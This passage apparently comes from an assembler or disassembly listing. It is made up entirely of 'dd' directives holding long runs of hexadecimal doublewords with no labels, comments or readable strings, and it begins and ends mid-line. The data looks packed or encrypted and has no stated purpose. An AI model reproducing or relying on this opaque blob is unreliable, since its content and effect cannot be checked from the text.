1551734Ah, 1B185419h, 3553D88Ah, 1C6B501Eh, 6C3B38h dd 4472204h, 4445061Bh, 58AB0448h, 160F5A55h, 35F11217h dd 11464373h, 1C483BF8h, 793EE103h, 11247496h, 1B1080DCh dd 0E7D43B2Ah, 3427253Bh, 8FAC7F29h, 8B2FCFBAh, 0F1BDCA74h dd 3BAAFA66h, 333FF13Ch, 4E1C971Bh, 0DCA7EAF7h, 0E2A6DB33h dd 7C553A23h, 0A52DDDA0h, 35D96029h, 0D2CACAB8h, 723930BCh dd 0AC3832B2h, 18A71B3Ch, 0E000AEBEh, 8045020h, 46286306h dd 0A42584Fh, 31580F5Ah, 15514553h, 4A747B72h, 5F363B36h dd 7AB9F93Bh, 0A6707171h, 2026A245h, 454E7213h, 6F2F4A4Ch dd 322EB68Dh, 40461719h, 18183434h, 45594F1Ch, 1A0FDF49h dd 7F5E1D3Ch, 0CD1E3021h, 2D05FE65h, 2B52A1A8h, 9D183E2Dh dd 33720E41h, 6135E459h, 3FEA3949h, 0BF3E4C5Dh, 6A487009h dd 2255571Fh, 0AB2550A1h, 87B12853h, 5E8E2C5Fh, 0CA39A52Fh dd 0A7D531A6h, 7AD19E32h, 0BF39593Bh, 0FD88B1FBh, 2BFADC1Eh dd 222EFE3Ah, 0DF1C2DFBh, 0C826F054h, 3BEA2FDFh, 0C854B26Eh dd 0C66BDEC9h, 34982E7Eh, 3C4449D7h, 0ED1D6E7Ah, 73F350D0h dd 603F13B4h, 0BE7B5641h, 0A153881Ah, 0A1DE3E06h, 0B77202h dd 0A8340DAAh, 81B3A79h, 0E9F61BC8h, 66DDDF6Ah, 47359484h dd 215FAC29h, 2BBA2ACCh, 0F8808C14h, 46DE672Ch, 0C4C40960h dd 56EE9954h, 0F601BA6Ah, 0A41605Dh, 0DA01A0A8h, 0E27929C4h dd 2C64F8C3h, 3303028h, 1214C575h, 0B3A79DFh, 0F6E0D7Ah dd 2C942A46h, 13C22DCAh, 17D011C9h, 1A0E1427h, 1E7A181Eh dd 2401C4Ah, 695004Bh, 0DA60346h, 8A40E5Bh, 29AB0A96h dd 15D22BA8h, 11F817F7h, 1F25105Dh, 1B3B1D20h, 7E21965h dd 0C660A3Fh, 12310E51h, 0E03DBA3Eh, 6839BB68h, 9AD01B9Dh dd 25A39D26h, 21A38CE4h, 2DAA212Dh, 6128A89Eh, 97983271h dd 76A13671h, 387FAF3Bh, 6D3D7CDCh, 371E5993h, 58226016h dd 73572766h, 6F452B66h, 2D6C9728h, 36327571h, 358E3E99h dd 743F5110h, 8E3B2C6Ch dd 9815423Ch, 0CA778F68h, 2F4E2BA2h, 0F1F832D9h, 0BC15226Ah dd 900DA428h, 5518823Dh, 0CBB3E026h, 0BE383B8Ch, 0DC1BFFC0h dd 1F0FE6AEh, 242C5D01h, 2828262Ah, 2C242A26h, 2D42E22h dd 0BD57A159h, 0BB333610h, 6A233AD5h, 713E3E57h, 131E7719h dd 67AF284Ah, 274C3100h, 7BDBA22Eh, 0D0605BC4h, 0F7B1CE30h dd 0FFBD632Ch, 1F7E39FFh, 0D73A3D14h, 1E1C5089h, 7225E63Fh dd 574D9D75h, 2B296C27h, 0D1671CC3h, 0BBCEA0D0h, 70F23075h dd 3E39D83Fh, 0BC63FAB0h, 101C1D4Ch, 0CDA3573Eh, 25F4232Eh dd 790A2727h, 729DC32Ah, 39BBD0D1h, 116093BFh, 396A663Eh dd 0D0BCB91Eh, 0A51BB4BCh, 700F3A51h, 2024A270h, 2FA77355h dd 0E2A02E7Fh, 3020AE7Fh, 343C323Eh, 3838363Ah, 33C43A36h dd 143F313Dh, 101E121Ch, 2C222E20h, 0D8262A24h, 2B252927h dd 2F212D23h, 333D313Fh, 3739353Bh, 343A36C7h, 303E323Ch dd 111D131Bh, 2D212F1Fh, 262ADB23h, 2A262828h, 212D2C24h dd 67313F2Fh, 2011890h, 2CE80408h, 0D020C6Dh, 9DA2F63Bh dd 76E52410h, 492CAA44h, 29690302h, 958A20Ch, 0B43F070Eh dd 2C5431C1h, 6D7A13B2h, 0FB0739BAh, 8AB194Ah, 703E4A69h dd 5E73240h, 5F27506h, 2C937D25h, 782C2E00h, 353371B9h dd 4830283Fh, 0C033B6Ah, 10613D3Dh, 31B6518h, 103E2049h dd 2C522624h, 372F152Ch, 19202C53h, 38B83230h, 39332B30h dd 23438ADh, 349E3E3Ch, 1018021Fh, 1E2F21B4h, 2D932723h dd 220D3623h, 0DE0C9523h, 0C8BAF077h, 979E38C0h, 3BDB3EA5h dd 0B7357EB2h, 1DFE0E89h, 2E7F193Dh, 0DA7B6824h, 2DD95159h dd 25C0A82Ah, 6EB018CFh, 0EB42003h, 3455DF3Eh, 0B625176Eh dd 4C7A0F78h, 66940429h, 64372219h, 2CAB5227h, 0DEBEE0Dh dd 6B727072h, 39BAB255h, 0FCB63235h, 83AFAF9h, 7D583AFFh dd 0FF787C58h, 480DC90Bh, 0C806604h, 7801892Ah, 48E742Dh dd 3A7372FBh, 0B3BF0A55h, 2E3A7D1Ch, 7DA2BFB5h, 0FD68F41Fh dd 4D08DFE2h, 0B2AE2669h, 2A889CAAh, 0D12C7B21h, 683061A6h dd 0C2359583h, 3B6D3897h, 0E03C6BD2h, 0CE1D4C6Ah, 76E81E49h dd 24739E23h, 287F7294h, 0B12D7C8Dh, 66A12E79h, 6261B533h dd 386F4C37h, 583D6C4Ah, 49413E69h, 77501F4Ah, 25616620h dd 34266405h, 79332B6Bh, 723B2F6Fh, 35712230h, 30367439h dd 803A786Ch, 0D94718FFh, 1E5CBDBCh, 226074B8h, 0B72767B0h dd 89A6286Ah, 8D7BA52Ch, 3390B530h, 4B3697B4h, 6E76399Ah dd 9D1E3D9Eh, 1EBF381Bh, 26318237h, 822531DCh, 0A1282AFFh dd 2EFE94E3h, 0C5215262h, 30DFF5D2h, 0B331F9E6h, 330F396Dh dd 7D1E0B6Eh, 7E74CF48h, 73A07E7Ch, 0D64CB072h, 2D23D47Eh dd 313F2F21h, 353B333Dh, 39373739h, 32C33B35h, 131B303Eh dd 0D262111Dh, 0D0508021h, 45CF3F25h, 0D8972ADBh, 0D835662Dh dd 3133C06Ch, 2337C53Dh, 0CE76D22Dh, 1BCB703Dh, 5A23F500h dd 0D7B521D2h, 0ACE3824h, 0BACA29DAh, 0C7302DD8h, 1A32C32Dh dd 1F36C63Dh, 0C937D127h, 3FCA4F3Ch, 1E1CF43Bh, 25550023h dd 676322ABh, 0D95C62A7h, 2F2D2AEDh, 8D9A01EBh, 332B8940h dd 82952682h, 5CDF8E25h, 8202A4E8h, 9530830Eh, 0BA1633BAh dd 2282836h, 285C236Ah, 8D276F7Eh, 0DBDB2470h, 7A2F7549h dd 6228D83Eh, 1AF36035h, 21BEB7DDh, 29DC86AAh, 28D223C4h dd 8ED62A88h, 0B12A282Dh, 0F8260D31h, 0FDA797F9h, 6A3A3839h dd 28D76E6Ah, 2F5E080Ch, 0D310615Ch, 52D01F45h, 30A2422h dd 8F0DED78h, 0BA335B31h, 0DF22054Ah, 535E256Eh, 0B5D68846h dd 0D6181FFAh, 0CA2C3DD9h, 8421A7EEh, 2620AFD7h, 2AEE95C3h dd 6332300Fh, 0DE3E30F7h, 0E23DFB92h, 2A3735FCh, 19DF8AD7h dd 2829D816h, 0E6615ECAh, 2DEF1F22h, 0EC45C322h, 1574632Ah dd 3230375Ah, 303B6FDEh, 2BBF6AC2h, 1BBB3E2Bh, 7D6C3B46h dd 241C2721h, 2927191Ah, 1F1B1A1Bh, 682B2E6Dh, 14313261h dd 38370634h, 3C7E773Dh, 0B07073Fh, 4B501F1Ch, 231721C0h dd 450BA526h, 2F2A4049h, 27084D01h, 93514743h, 4743182Eh dd 9AD2395Ch, 3E8E3F5Ch, 0F6E9F5F2h, 22B1DFE0h, 263AE823h dd 2A362838h, 312D33D4h, 2D312F2Fh, 29352B33h, 25392737h dd 3E22C33Bh, 1D031B20h, 212F1F11h, 252B232Dh, 26D72729h dd 222C242Ah, 3E30202Eh, 3A343C32h, 34EC3836h, 0FCCCB83Ah dd 1C30D63Ah, 2F321D26h, 23C230Eh, 28383E2Eh, 3F821593h dd 0A493A097h, 0AB323131h, 0FB8B3636h, 2C953AADh, 183FB0B3h dd 0F71CA31Dh, 2423A893h, 2127456Ah, 298CC129h, 432BC02Ah dd 3434B3A9h, 0DEF7BC58h, 3B9FCA3Ah, 0FF0DF5B7h, 0ED1EFD98h dd 99AA8487h, 33252BA2h, 48A96BE1h, 2B6EEB2Bh, 71F7342Fh dd 3735143Ah, 3B337BF1h, 0A43D3739h, 5636983Eh, 3722359Ch dd 13A2F3A9h, 401A767h, 2C2EF1DEh, 715803ADh, 5A393232h dd 0DA5E3632h, 3968BA3Ah, 6C7A609Eh, 372C416Dh, 7D2AF0EBh dd 40780FA4h, 3C4B190Ah, 532E6E9Ah, 405D5DB1h, 5E5B5947h dd 0FCB902F9h, 7453101Fh, 9E7D747Bh, 514D6137h, 43525664h dd 2C1B07AFh, 390F03BDh, 25303370h, 0BC203E87h, 39D6742Ch dd 123E5EBEh, 1A4DEC5Eh, 2D218EF7h, 0E9DE77Ah, 3FA88528h dd 0AC013CA3h, 20B2B93Dh, 0B427B653h, 0B72BB354h, 0B0D4E076h dd 8D162CBEh, 0EF66119Ch, 0A9A9AE32h, 0DE862DBh, 0A024EB41h dd 0A1315BA3h, 30A01937h, 62FCDF23h, 38AC4C3Ah, 9F097DEEh dd 3C080618h, 1807B6ADh, 9A702105h, 9CA2C233h, 0F8A42E2Eh dd 0F23384DEh, 1CA712B1h, 3C2D3839h, 0E4328ED5h, 0D1954DE3h dd 28B9C920h, 0ABABDADBh, 2912390Ch, 16412F2Ch, 0AB7084Bh dd 810FB934h, 0E6038401h, 6D33D05h, 25B926BBh, 1B011C1Dh dd 0C919C01Fh, 17153D37h, 9F10582Bh, 40CDE12h, 87D940Dh dd 6A400653h, 7CADE534h, 2106FB3Eh, 11131C1Eh, 4C241355h dd 0D01EB010h, 1D5E041Ch, 0C6701D2Fh, 0F32D2234h, 0C030C8A9h dd 23A0432h, 5C1D0038h, 1E11DD5Dh, 1B26E06Dh, 17231921h dd 7C21522Dh, 926BA06Fh, 3732CB39h, 7330133h, 7CA53F4Bh dd 1D003802h, 192B1B23h, 25026462h, 0E36F425h, 224A162Dh dd 0AF104D76h, 5B7F1910h, 7D3431A4h, 53073B3Bh, 3D3AB196h dd 331F1F21h, 0E23F04DEh, 4E759C3Eh, 82A0957h, 7FEB0F5Fh dd 7735844Bh, 41ECF6ECh, 0B1C6C7CBh, 7FE03117h, 90A7B3Dh dd 7172AF7Fh, 63647220h, 2EBA3706h, 6E0E752Eh, 0B9AEC7E0h dd 35862032h, 0FD4E3229h, 59FC3362h, 5C3F73BEh, 17F7484Eh dd 902B01D0h, 29374A01h, 2823D4A8h, 0BF5EEE3Ch, 5F533180h dd 0A94312A9h, 34783878h, 9C3E7C00h, 2E1F5D80h, 0CB16C171h dd 2EB63521h, 2F3BAA96h, 0BAE69A1h, 0FCB96128h, 449792DCh dd 6FB73178h, 2FB72918h, 0E084E19h, 31A17B1Eh, 3227C473h dd 6A0811CFh, 5AEDA87Ah, 76328265h, 34B46DADh, 68B848DFh dd 0CF093CCAh, 1C1C1B3Fh, 2954DF9Bh, 2D2533A9h, 91203770h dd 432D45C3h, 479A292Eh, 0D15A3436h, 39DC5136h, 953CD964h dd 0F898D686h, 20FB501Ch, 8E23C667h, 1E27C21Bh, 28052ACDh dd 3F2E0822h, 3B315A03h, 636883EBh, 0C4833A3Ah, 0B5393C10h dd 0ACBE1B1Ah, 226681C6h, 62CBCC1Fh, 0C27AA129h, 4A2F68CEh dd 3272E6D9h, 0F5E68D00h, 31F7B632h, 50873137h, 0BD111A5Eh dd 0CB0727FAh, 0AB2923BBh dd 0A8252FB2h, 2F5A202Ch, 33221823h, 211A763Fh, 92B4B53Bh dd 75053CD5h, 59199B94h, 0C9AC5F1Fh, 24B218Ch, 0E2C01780h dd 6F6D880Eh, 0A114A352h, 3A713032h, 3B834C4h, 8B747BEh dd 1D19E43Ah, 61777699h, 4CF5DD34h, 7227C269h, 242BCE05h dd 276C2ECEh, 29387675h, 3882DE99h, 0FB2FDB31h, 1BC03C3Eh dd 28D5191Ch, 14F916F4h, 1F4C1D7Bh, 13551152h, 17BD15A1h dd 0B8B0997h, 0FEF0DF7h, 22101D6h, 66E041Dh, 276F2577h dd 1B971982h, 1FF61DE6h, 13DE11FEh, 1421162Dh, 9680B7Ch dd 0D440F58h, 1BD034Ch, 5FF07A5h, 5F3120F7h, 0C9371D1Bh dd 87262117h, 312A2271h, 2F2E0EC2h, 39322A42h, 3421DB2Bh dd 3E1C7334h, 0BEB22FB7h, 0BC4B3DBFh, 0C805061Fh, 0C688F495h dd 6E072A52h, 0E3F520Dh, 302C1155h, 342C5F0Eh, 3820362Ah dd 9E606B99h, 254494B8h, 208B23F4h, 27221ED7h, 9F272527h dd 1B222A28h, 1F761D19h, 22E01C1h, 6120414h, 0A6B0810h dd 0E9C0C51h, 2FDD2DB1h, 13F611CEh, 146B1612h, 18ED1AB6h dd 1CF21EE1h, 13402C6h, 59A073Dh, 0E3C0BE6h, 373C087Ah dd 0D51238B1h, 7700DD05h, 6F2D25E7h, 432D2E22h, 0AC2C4B32h dd 38309E35h, 95F7DB60h, 33313014h, 0E26A323Ah, 79B09FEh dd 5A049676h, 0AB212B28h, 7642F21h, 252B3168h, 3A54C67Ch dd 34387838h, 7D6A13Ch, 76807AFh, 6F3B6BFAh, 24165D01h dd 0A03555E7h, 52271DB4h, 3F3AD93Ah, 6F2AED93h, 68F5BA6Dh dd 72B607BDh, 111A4B52h, 0BC906A4h, 280E2C19h, 4C21AD1Dh dd 71244E33h, 0A217A172h, 0BE2552A2h, 1701D8B7h, 4239A217h dd 5A2C983Dh, 0BB3C3EE3h, 159EB8FFh, 3D54111Eh, 0A54BA74Ah dd 2C420F01h, 45212B7Ah, 4D86D2Fh, 0CAC99B32h, 0B02CF3B5h dd 0D64C937Fh, 3E21BF0Eh, 0A4BF249Fh, 0B027281Bh, 3AA7461Fh dd 0A133EEAAh, 240B624Dh, 243302D9h, 3B3719F5h, 0DC1FBEB1h dd 493C743Dh, 86CFC16h, 22D22508h, 418D75D7h, 228A8383h dd 1F396D68h, 0A3626064h, 37A67D34h, 73AAB78h, 7B3EADE9h dd 8E491C89h, 23F20C1Fh, 0ABAD2253h, 29880CA3h, 7E7F7C7Ah dd 3275702Bh, 6060CB37h, 3EA14836h, 0AE3C6AB3h, 4B191A6Fh dd 0D121BA86h, 2482E301h, 91298696h, 5D2A8A81h, 3317EC2Ah dd 0C5363636h, 0C16A3537h, 0A6383939h, 195B3809h, 65343E1Fh dd 542D4220h, 68672760h, 99632F28h, 717F2E6Ch, 0B16931h dd 0CB902BDh, 89B0EA2h, 2F890A90h, 2BEC29A2h, 162E15D8h dd 123C1035h, 1E871C08h, 199C18F7h, 5E4078Ah, 1D803E8h dd 0C6C0FCCh, 8ED0A84h, 26A924B2h, 1AFD18C9h, 1ED71CC5h dd 132E10DBh, 17EB1542h, 0B2320B09h, 72DD1033h, 3ABBF1CBh dd 0BDCED46Fh, 0F558073Fh, 65209CF4h, 25A7C2CAh, 0F1C0631Ah dd 0C5002BA9h, 5B30AFE1h, 655C376Ah, 38AAB187h, 3E3D3AE7h dd 1A43572Ah, 22BCD31Ch, 0AF45CA15h, 28A54CF5h, 9539EAE9h dd 0BD252F2Dh, 0DC6B02BCh, 0A43BA78Eh, 7F1B4447h, 1C1F7EFDh dd 1B0ED9F4h, 242E5001h, 97242526h, 89C2192Dh, 632C9CC5h dd 3B312914h, 0A1341539h, 2A2DD1EDh, 239E3F21h, 1DCC98DDh dd 66C92E27h, 26F52EE1h, 41C13E96h, 7B7E1C6Eh, 8B316779h dd 536340Ch, 3A45B5F7h, 7AFB051Fh, 1C1C231Bh, 478BECDEh dd 25A0A889h, 393A2744h, 0B04CC37Ah, 15BC532Eh, 33B53276h dd 251C73BFh, 0C73D36Bh, 38A737BFh, 0A0179F51h, 31F811A6h dd 0A9332D25h, 23030EA1h, 346FA5A8h, 4165D607h, 0D061264Eh dd 6A5F3BC9h, 1BB44D48h, 945F1152h, 2F6CA8E1h, 0D8D918A4h dd 7A5F56D7h, 0FF28752Eh, 6B3732D0h, 68DE633Bh, 6A5C3AC8h dd 0B42A6ADDh, 0C6361045h, 7CA87777h, 0E61BB527h, 68604924h dd 0EF2F2C6Fh, 2076014h, 34340FE1h, 5F391870h, 4E5E684Fh dd 7F7D136Bh, 4867AF72h, 75484B52h, 40584656h, 0EFF31699h dd 52F0462Fh, 405B7059h, 1968D758h, 58787B0Dh, 796F5A52h dd 0B57A24FDh, 0D5E27E51h, 0A3257524h, 0AE0B3A61h, 78A43E2Dh dd 41FAB725h, 0C7DFB225h, 6CB010F9h, 8ABFB715h, 2C1CF61Ch dd 274877DFh, 0E7152577h, 6B31BC40h, 782E2C2Ch, 3F74B860h dd 17B6B3BDh, 2EC53A38h, 0C7305C64h, 6D91C98h, 5CA8DF9Ah dd 7A905027h, 7B79E946h, 304727E8h, 0B231D407h, 9635549Ch dd 3A7D042Fh, 0B25D3F35h, 6E7CA47Fh, 0A27FDF81h, 0A670E72Eh dd 0A83EDA2Bh, 0BD2F7FC6h, 0F5912D2Eh, 0FD397B50h, 992937F7h dd 9D3D3B34h, 4B4DB3DCh, 4538E94h, 6437AA2Dh, 874CBC06h dd 192096Dh, 0B16B4982h, 6760815Ch, 87D43BD5h, 6C6F3653h dd 195F13D5h, 5B811F48h, 263228C2h, 72E72620h, 2428262Ch dd 2D23522Eh, 32CD798Fh, 36C934CBh, 3ACB38C7h, 38CF3CFDh dd 0D72E0D91h, 0B3313097h, 4BC52121h, 3A313AABh, 5B2FD4A8h dd 71A12A35h, 0B63D7513h, 0FFB26735h, 0B76062ABh, 2E19CE2Eh dd 0DE211DF3h, 0BF4B23C7h, 29272729h, 63F32B25h, 7FD03C5Fh dd 274488FCh, 2BDD2412h, 3AEC6433h, 4A7974FDh, 265E515Ch dd 0C3290B2Ah, 0EFE0ADBAh, 292B966Ch, 56102C8Eh, 3432322Eh dd 0F9855466h, 0C3BEB8B9h, 7BABBA32h, 17AD1D05h, 0A3A8A52Fh dd 53D9DB1Eh, 15A92960h, 0A206582Fh, 631A3576h, 3C77E4DCh dd 0E033D8E0h, 69563149h, 0E11F479Ah, 2220540Ah, 53E5A130h dd 0BA3CD707h, 0A5242C2Ah, 37DFB3DFh, 2D75EAC4h, 38DFBBC1h dd 0B75B3F7Dh, 7F1C2B2Dh, 0A720DC40h, 31E4A62Eh, 522E3652h dd 73572902h, 0F1EC1CEDh, 3BB4386Ch, 3DA910B7h, 1347393h dd 1C11A21Dh, 0C1E69C1Eh, 27232921h, 2683A921h, 0A42D4A00h dd 70218ADBh, 7C3630B1h, 1937B66Eh, 3CDA6A37h, 0FF67301Dh dd 0FB437D1Ch, 23C24920h, 20063A66h, 0BB2D0CC8h, 0B7290C79h dd 17923614h, 37D29D31h, 3BDEF488h, 37B51884h, 1094189Bh dd 5528055Ch, 70CD740Fh, 0F2D9288Bh, 6EED3773h, 313C1240h dd 221D5060h, 5A35D033h, 69C5B713h, 0FC1FC9D7h, 0EF5B3C14h dd 2ECC7472h, 0D6D7A7B8h, 0C5F4A07Dh, 11314F92h, 0DD2CBA65h dd 139D682h, 3D3C7F6Dh, 67A1D73Fh, 6C94E1E0h, 0AF2B0621h dd 0A14378E3h, 282B2A24h, 0F33FEAAEh, 2832FEA1h, 0C9BC6035h dd 0C1BD8AD1h, 5FC9C13Dh, 6B1F1538h, 0CB742129h, 2526E8B9h dd 2FA8EDABh, 2BECA52Ch, 3DA23030h, 573674B4h, 0AA16BFB3h dd 555BC815h, 1EF8FB37h, 0FB0D4372h, 0A4624C6h, 1A29C8ECh dd 0F50210Bh, 341EB629h, 16B7326Ch, 37083C04h, 3E982DB6h dd 0BE9EF25Fh, 2196AB1Eh, 25AAE2A3h, 4C5CCE25h, 0A6D3D72Ah dd 0F0B1DF63h, 0F534368Eh, 8B1F3750h, 0D5983BB7h, 5C36BDA7h dd 2A1F843Eh, 950063B0h, 45A52525h, 0F1B8F9Dh, 130B25D7h dd 1F1D52D7h, 1D009716h, 9103BA1Ah, 5BC41D14h, 133D3804h dd 623D20C0h, 412CC2Ah, 36AD666Ch, 0A07C1DFCh, 0A12FB32Dh dd 0F1DEF5F3h, 2A3AF9E6h, 0D338FA35h, 1797160Ah, 0BD28BFE4h dd 2FBA802Ah, 2ECD21B6h, 279C2A4Bh, 41B48146h, 503D1C9Fh dd 33FD38F5h, 3EFF5762h, 0DF50105Bh, 21E10E1Eh, 0CE1B31D2h dd 785A27F6h, 1613F93Ah, 3BF13ABEh, 666F390Bh, 63792976h dd 19667E6Dh, 465C3553h, 391EDE98h, 276B2224h, 72A72D51h dd 8AEB2B29h, 0DBC70EA6h, 7DDE0133h, 6366377Ch, 67F6663Dh dd 0FF057F84h, 1EFE1B31h, 16627A98h, 272908CEh, 290C603Fh dd 44AA0B6Dh, 0B7DA3790h dd 10AC31C5h, 2BC8185h, 27563F68h, 6ECBEF3h, 173A62D0h dd 726AB03h, 7E1AAE21h, 647080Fh, 38D96C7Dh, 4E54801h dd 5A23AA0Dh, 4C8C233Ch, 0AF4D534h, 123919ECh, 0BE43530Ch dd 2C9D6E52h, 7D299B1Ch, 242C5103h, 0F5F71DDAh, 1B358320h dd 3DCC883Dh, 970BFF0Ch, 30733A91h, 797D7D20h, 0A1437DB5h dd 0E88A4A24h, 0E12FCE45h, 0BBBE9B60h, 714087B0h, 2A9B33A8h dd 0BDF752Bh, 4E41484Ch, 71EDAA05h, 97AFCD40h, 5BD2A25Ch dd 22E3926h, 432A5210h, 0AB603F3Ch, 36ABAEC7h, 362D3BBCh dd 96D739Eh, 52248118h, 15BFE429h, 0EEAA77E7h, 0AEFD38D5h dd 1EBE304Dh, 363A343Ch, 83063838h, 6D08DC32h, 0D237B6Ah dd 0B1134848h, 6DDB10F9h, 0EA13B897h, 2CACB4F9h, 31452E78h dd 37F4B03Ch, 33AF1B5h, 0DD49F03Ah, 19F0FF0Dh, 0A3DF0E06h dd 2E43DDF9h, 20D8734Fh, 8CF38E3Ch, 0C20CE1Eh, 33463239h dd 3048B553h, 79334E36h, 0DB7F01B6h, 6AE52608h, 0DEA92358h dd 2C454204h, 22B223F7h, 26B13E04h, 53DA38A1h, 0A75E22F4h dd 4FCA2805h, 0FF2F73B1h, 1A1D0812h, 8227E7F7h, 17BF3611h dd 231835h, 28E22B23h, 37413024h, 0CB6B71DBh, 0FACF3AC8h dd 37493D2Ch, 8361F369h, 6107CDAAh, 28310026h, 7838CE25h dd 0ED342A2Ah, 0F22C2D2Eh, 41BD66A2h, 185E1712h, 0C22E38FAh dd 1FDBAB2Bh, 0DF9FE69Eh, 0DB761B54h, 2AE78630h, 17F91929h dd 0B90A5BEFh, 0BF473264h, 65694678h, 0B57B3EB4h, 303BDEFCh dd 96071DDDh, 0A6673530h, 1EA4A587h, 2A9A3DA8h, 74707271h dd 9F697CFAh, 4357B584h, 2D3A7FB8h, 0C72A7DE0h, 968E333h dd 0E28122DFh, 26E5A121h, 0E2AA2D52h, 0A5EE72D4h, 0B93D70EFh dd 7334BF3Bh, 3A36F550h, 682DD0B8h, 1C761D55h, 61227512h dd 89A4E35Dh, 7E12BCEh, 43AC146Bh, 0BA600B5Bh, 0B8387532h dd 68682378h, 3B8839D2h, 2F92393Bh, 80444042h, 95CB75E2h dd 7E6E640Dh, 734FB42Fh, 6B906F73h, 0F432F2F2h, 32306D07h dd 328C6706h, 77B46B0Ah, 491E1138h, 2361CCA5h, 0E7A32525h dd 0D47A2E56h, 0F3AEA539h, 0FDB93032h, 0EDB636DCh, 2BF9671Ch dd 0FFE5D524h, 1E59EA22h, 5620283Bh, 8BCD722Ah, 2A28D327h dd 2AE9AF2Ah, 6CF7F0A4h, 373530F1h, 22BB0CB8h, 38FA2DEBh dd 0BE049463h, 0B438431Eh, 0A46F71A2h, 2C68EA74h, 632CA5A0h dd 0F0A6A50Ah, 74C85B62h, 206A6608h, 0FFC86A3Eh, 295F0FBDh dd 1CDCEFF5h, 3223DDDEh, 546719E4h, 0C5072CA8h, 72270BC1h dd 0F83BF405h, 3E363EF5h, 0D43F33F1h, 0AB3BFE85h, 967AF41Dh dd 23262105h, 362AE75h, 0DAA17F30h, 37C2AE2Ch, 57BBFDBBh dd 672A1510h, 3BE77CD0h, 2D1A69B6h, 520F192Bh, 6684204Dh dd 0CE712023h, 0E431290Dh, 2C6D202Bh, 3310E99Dh, 3E11783Dh dd 0B9883A69h, 0FC2D64FFh, 8D591C37h, 3DB2130Bh, 8520CB70h dd 77907832h, 593437E8h, 108E2631h, 1C158ECAh, 6C5C30C7h dd 3D6C306Bh, 4EF37F2Dh, 0AB0A0E1Bh, 482422D9h, 0B7B3255h dd 2D7B07A9h, 40C1C605h, 11DBB92Eh, 0D85F3A55h, 0DC693639h dd 23A15E17h, 4E1EDD3Dh, 62757272h, 26A2E283h, 0C32C28E9h dd 0D0D0593Bh, 0FDB90160h, 121695DCh, 0E3B03FF9h, 173D1D31h dd 635D191Bh, 540FC8E0h, 0ACDADA63h, 4A7277E4h, 4E0C3423h dd 0BB556E2Dh, 0F221B43Eh, 3B594117h, 780D2CF9h, 511CABEh dd 56AD1774h, 51613332h, 20982B01h, 6D29EB2Ch, 883E3F20h dd 3C340B30h, 3C4A0FCEh, 0D3D4383h, 744AF733h, 205B498Dh dd 0B534D22Ch, 56476485h, 7D23403Dh, 0B4C77935h, 380332F1h dd 38275C19h, 6B3B686Eh, 7EB6C7B6h, 0F957BECh, 1E442767h dd 4A530484h, 196D49A3h, 6FC268EBh, 7520D167h, 0B32BBE3Ch dd 0D7775999h, 0E32E68B1h, 7E4D4E4Ah, 0D4A4D094h, 0AD315123h dd 6FA41A70h, 63A06CC7h, 606060F3h, 36413650h, 4B57B3DBh dd 0DFD594Eh, 84E1906h, 4D20CE83h, 21FA0E92h, 456956B7h dd 1FD203EBh, 35FF0E2Eh, 371237F2h, 7D73BC7h, 727D2434h dd 5B3B4D3Ah, 3E4F7078h, 450BA4Dh, 80D067Fh, 0F9595F17h dd 32F0D96Bh, 36D63511h, 0D02EC10Fh, 3D087F59h, 13E09FDh dd 1E2D51F4h, 2AC410C0h, 831ECD3Fh, 372B2D01h, 2C09A7C4h dd 32367531h, 3720DD29h, 25891939h, 0CE068154h, 5C3990ADh dd 0AA26A0F3h, 967900BFh, 757BC026h, 9A45035Bh, 338D31ABh dd 93197A23h, 98AC3896h, 9EC0C03Bh, 1DBE913Fh, 21813BB4h dd 1924815Dh, 8B5C2787h, 8CE0812Ah, 3192462Eh, 6B3492AEh dd 35B23794h, 8F6F3B9Bh, 57F2E339h, 8C471E6Fh, 258161C8h dd 0A1F6F07h, 0C56FEE28h, 0A42F5C1Dh, 6031AD8h, 0AF7044Eh dd 0F71093Ch, 2F370DB2h, 2B0A2913h, 17641509h, 13A6117Fh dd 1F991DA4h, 1BE71996h, 60205C6h, 2470058h, 0EA90CB8h dd 0A98089Dh, 2BC829A3h, 17D515F5h, 1077126Eh, 125A1E41h dd 16821488h, 7D5B0896h, 127134BEh, 0B13B5203h, 0D63D6CCAh dd 0E2E3C2FBh, 8938DB9Dh, 45ECA874h, 11684736h, 2D4FCACAh dd 313C06A0h, 8C656330h, 7D495F1Eh, 5D472F5Ah, 1CD4BC48h dd 45393E2h, 5FAB05h, 28CF7AA5h, 0D3D4F828h, 1827274Ch dd 27531B02h, 56454341h, 0DD382A1Eh, 755B7E8Bh, 15D9AF73h dd 44293B20h, 25491726h, 34F2B47h, 2D414E1Dh, 7A613357h dd 1725D560h, 62186A20h, 747329EDh, 1C1DCD5Fh, 5676B25Ch dd 0A6706023h, 0F9647A1Eh, 2BC5E02Bh, 7631362Eh, 79B85417h dd 1ED16852h, 383D6FC3h, 0F9C7271h, 0CD22F764h, 0A2E226A2h dd 0EF2C27A9h, 762CAC28h, 0A0B7E92Fh, 0BF343732h, 3A38A4A0h dd 2DAEACB2h, 9A913C3Eh, 0EF94211Dh, 24A4B0A9h, 0A9E9CE2Dh dd 1A08A747h, 76118CAh, 0C5505B1h, 0C80EF8h, 67703DCh dd 218C0443h, 233D27DAh, 1EEA1DE2h, 184B1B43h, 2AFA2A28h dd 2FBA2C2Ch, 72023D33h, 64066104h, 0B80FDA0Dh, 4C08C40Ah dd 572A932Ch, 0A2194627h, 951DB31Bh, 1AE9EC1Fh, 0C67F0441h dd 4272C0E2h, 32262571h, 9AD4D024h, 2E556C31h, 1D1809D6h dd 3524331Fh, 2D342700h, 0B91D24C6h, 0BFBC4192h, 3533CDBEh dd 5FDC273Ah, 2D3BD586h, 2FFF38D8h, 0CB18E876h, 23CE071Fh dd 4E0E4800h, 19414C02h, 3D5A2AE8h, 12865DFFh, 2523456Eh dd 0FF160434h, 0AE42BBF4h, 0B82F1F05h, 611FBC36h, 8A67A360h dd 1EA22A45h, 39B52989h, 43CC7735h, 41B30462h, 3637A9C4h dd 0ED811B83h, 3F8FC776h, 720BBD7Ah, 25218104h, 562E85B6h dd 22B3C0Fh, 5A232E3Bh, 33E161AFh, 0BB093527h, 0B2311C8Bh dd 388C3F3Bh, 4F347173h, 0E685EC1Eh, 258007A6h, 0E7C0E321h dd 978680Bh, 8001FF06h, 0D11E1933h, 3D381734h, 61267B56h dd 0EF0B2754h, 60645FB8h, 40115A27h, 0F31604ACh, 79EA2B91h dd 329EE71Ch, 34C0EDB8h, 7B34429Ah, 42B2C9D2h, 945B2E3Dh dd 0DC7F451Eh, 0E29D3340h, 2739AE7Ch, 0A02DA031h, 0AED6522Ch dd 